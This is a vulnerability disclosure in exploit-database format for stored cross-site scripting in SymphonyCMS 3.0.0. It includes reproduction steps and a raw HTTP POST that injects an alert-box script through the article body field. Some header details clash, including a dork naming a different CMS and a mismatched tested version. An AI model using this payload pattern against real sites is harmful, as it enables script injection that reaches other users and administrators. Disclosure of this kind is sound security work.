# Exploit Title: SymphonyCMS 3.0.0 - Persistent Cross-Site Scripting
# Google Dork: "lepton cms"
# Date: 2020-08-28
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://www.getsymphony.com/
# Software Link: https://www.getsymphony.com/
# Version: 3.0.0
# Tested on: Windows
# CVE : N/A
Description:
Cross-site scripting (XSS) vulnerabilities in Symphony CMS 3.0.0 allow remote attackers to inject arbitrary web script or HTML
To Reproduce:
Steps to reproduce the behavior:
1. Login as member
2. Go to 'Articles'
3. Submit malicious content
4. Anyone (inclued admin) view article and XSS excuted
Expected behavior
When admin or user view content, a pop-up will be displayed
Affected componets:
events\event.publish_article.php in Symphony CMS 3.0.0 allows XSS via fields['body'] to appendSubheading
POC:
POST /symphonycms/symphony/publish/articles/new/ HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://target/symphonycms/symphony/publish/articles/new/
Content-Type: multipart/form-data; boundary=---------------------------17679481844164416353626544932
Content-Length: 1111
Origin: http://target
Connection: close
Cookie: PHPSESSID=b21qllug0g7ft80ueo3bn0bgcd;
Upgrade-Insecure-Requests: 1
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Content-Disposition: form-data; name="xsrf"
vr-i2mWs18DPjVmZ8z2nB-Gb3hdyrb
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Content-Disposition: form-data; name="MAX_FILE_SIZE"
5242880
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Content-Disposition: form-data; name="fields[title]"
TEST XSS
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Content-Disposition: form-data; name="fields[body]"
<script>alert('XSS')</script>
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Content-Disposition: form-data; name="fields[date]"
08/28/2020 5:55 am
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Content-Disposition: form-data; name="fields[categories][]"
2
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Content-Disposition: form-data; name="fields[publish]"
yes
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Content-Disposition: form-data; name="action[save]"
Create Entry
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Desktop (please complete the following information):
OS: Windows 10
Browser: Firefox or Chrome
Application: XAMPP, Burpsuite
Additional context
Tested on: 9.03.50 verison
POC at: https://vimeo.com/405740251
